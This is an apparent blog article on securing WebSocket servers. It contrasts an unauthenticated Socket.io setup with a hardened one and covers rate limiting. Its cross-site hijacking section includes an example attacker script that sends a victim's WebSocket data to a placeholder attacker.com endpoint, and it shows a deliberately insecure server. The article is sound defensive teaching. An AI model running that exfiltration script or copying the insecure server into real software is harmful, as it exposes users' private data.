WebSocket Security in Vibe-Coded Apps: Missing Authentication on Real-Time Connections

Why WebSocket Security Gets Skipped

Real-time features are trending in AI-generated apps: live chat, collaborative editing, real-time dashboards, notifications. AI tools generate functional WebSocket servers quickly, but real-time connections have a fundamentally different security model than HTTP requests. Every HTTP request can be independently authenticated; a WebSocket connection is authenticated once at handshake and then stays open until it closes, even after the session or token behind it expires.

The OWASP WebSocket Security Cheat Sheet notes that browsers include cookies in the WebSocket handshake. Any website can open a WebSocket connection to your server with your user's session unless you explicitly validate the origin. The PortSwigger Web Security Academy covers this attack as cross-site WebSocket hijacking.

As more AI-generated apps add real-time features, the attack surface grows with them.

The Default AI-Generated WebSocket Server

// ❌ BAD - AI's default Socket.io setup (no auth, no origin check)
import { Server } from 'socket.io';

const io = new Server(httpServer, {
  cors: { origin: '*' },  // No origin check: any site can connect
});

io.on('connection', (socket) => {
  // No authentication check - anyone can connect

  socket.on('message', (data) => {
    // No authorization - broadcasts to everyone
    io.emit('message', data);
  });

  socket.on('getUsers', async () => {
    // No auth - returns sensitive data to any connection
    const users = await db.query('SELECT * FROM users');
    socket.emit('users', users);
  });
});

// ✅ GOOD - Authenticated and authorized WebSocket server
import { Server } from 'socket.io';
import jwt from 'jsonwebtoken';

const ALLOWED_ORIGINS = ['https://myapp.com', 'https://staging.myapp.com'];

const io = new Server(httpServer, {
  cors: { origin: ALLOWED_ORIGINS },
  // cors only covers HTTP long-polling; allowRequest also sees WebSocket upgrades
  allowRequest: (req, callback) => {
    callback(null, ALLOWED_ORIGINS.includes(req.headers.origin));
  },
});

// Authenticate on connection
io.use((socket, next) => {
  const token = socket.handshake.auth.token;
  if (!token) return next(new Error('Authentication required'));
  try {
    const user = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
    });
    socket.user = user;
    next();
  } catch {
    next(new Error('Invalid token'));
  }
});

io.on('connection', (socket) => {
  // User is authenticated at this point
  // Join a user-specific room for targeted messages
  socket.join(`user:${socket.user.sub}`);

  socket.on('message', (data) => {
    // Only broadcast to the user's authorized channels
    const roomId = data.roomId;
    // Verify user has access to this room before broadcasting
    if (userCanAccessRoom(socket.user.sub, roomId)) {
      io.to(roomId).emit('message', { ...data, userId: socket.user.sub });
    }
  });
});

Cross-Site WebSocket Hijacking

WebSocket connections are not protected by CORS. The Socket.io documentation says it plainly: CORS only applies to HTTP long-polling. When a browser opens a WebSocket connection, it includes cookies in the handshake. An attacker's website can open a WebSocket connection to your server, and the browser can send your users' session cookies along with it.

// Attacker's website opens a WebSocket to your server
// Browser sends the victim's cookies automatically
const ws = new WebSocket('wss://your-app.com/ws');
ws.onmessage = (event) => {
  // Attacker receives data meant for the victim
  fetch('https://attacker.com/steal', { method: 'POST', body: event.data });
};

Two things stop this: check the Origin header of every handshake against an allowlist, as allowRequest does above, and authenticate with a token the attacker's page cannot read, as the handshake.auth middleware does. Native apps and server-side clients usually send no Origin header, so if they connect too, let them through on the token alone.

Common WebSocket Vulnerabilities in AI Code

Rate Limiting WebSocket Messages

Unlike HTTP endpoints, WebSocket connections are persistent. An attacker can send thousands of messages per second through a single connection. Without rate limiting, this becomes a denial-of-service vector. The OWASP cheat sheet calls 100 messages per minute a common starting point, which is the limit below.

// ✅ GOOD - Per-connection rate limiting
const rateLimitMap = new Map();

io.on('connection', (socket) => {
  rateLimitMap.set(socket.id, { count: 0, resetAt: Date.now() + 60000 });

  socket.use(([event, ...args], next) => {
    const limit = rateLimitMap.get(socket.id);
    if (Date.now() > limit.resetAt) {
      limit.count = 0;
      limit.resetAt = Date.now() + 60000;
    }
    limit.count++;
    if (limit.count > 100) {
      return next(new Error('Rate limit exceeded'));
    }
    next();
  });

  socket.on('disconnect', () => rateLimitMap.delete(socket.id));
});

Cap message size too. Socket.io closes a socket whose message is larger than maxHttpBufferSize, which is 1 MB by default; OWASP suggests 64 KB or less for most apps.

How to Secure Your WebSocket Implementation

1. Authenticate every connection in a Socket.io middleware or the ws library's upgrade handler. Never accept unauthenticated connections.
2. Validate origins against an allowlist on every handshake. In Socket.io that means allowRequest, because the cors option only covers long-polling. Reject connections from unknown origins.
3. Authorize every action. A connected user is authenticated but may not be authorized for every operation. Check permissions per event.
4. Validate every message. Parse and validate incoming message payloads with Zod or similar before processing.
5. Add rate limits per connection to prevent message flooding.
6. Close connections when the session ends. OWASP recommends re-validating sessions periodically on long-lived connections and closing them when the session expires or the user logs out.
7. Scan your codebase. VibeDoctor's Vibe Check flags wildcard CORS origins such as the cors: { origin: '*' } above (SEC-004) and HTTP API routes with no auth check (SEC-001). It does not inspect WebSocket event handlers, so steps 1 to 6 are still yours to check. Free to sign up.

FAQ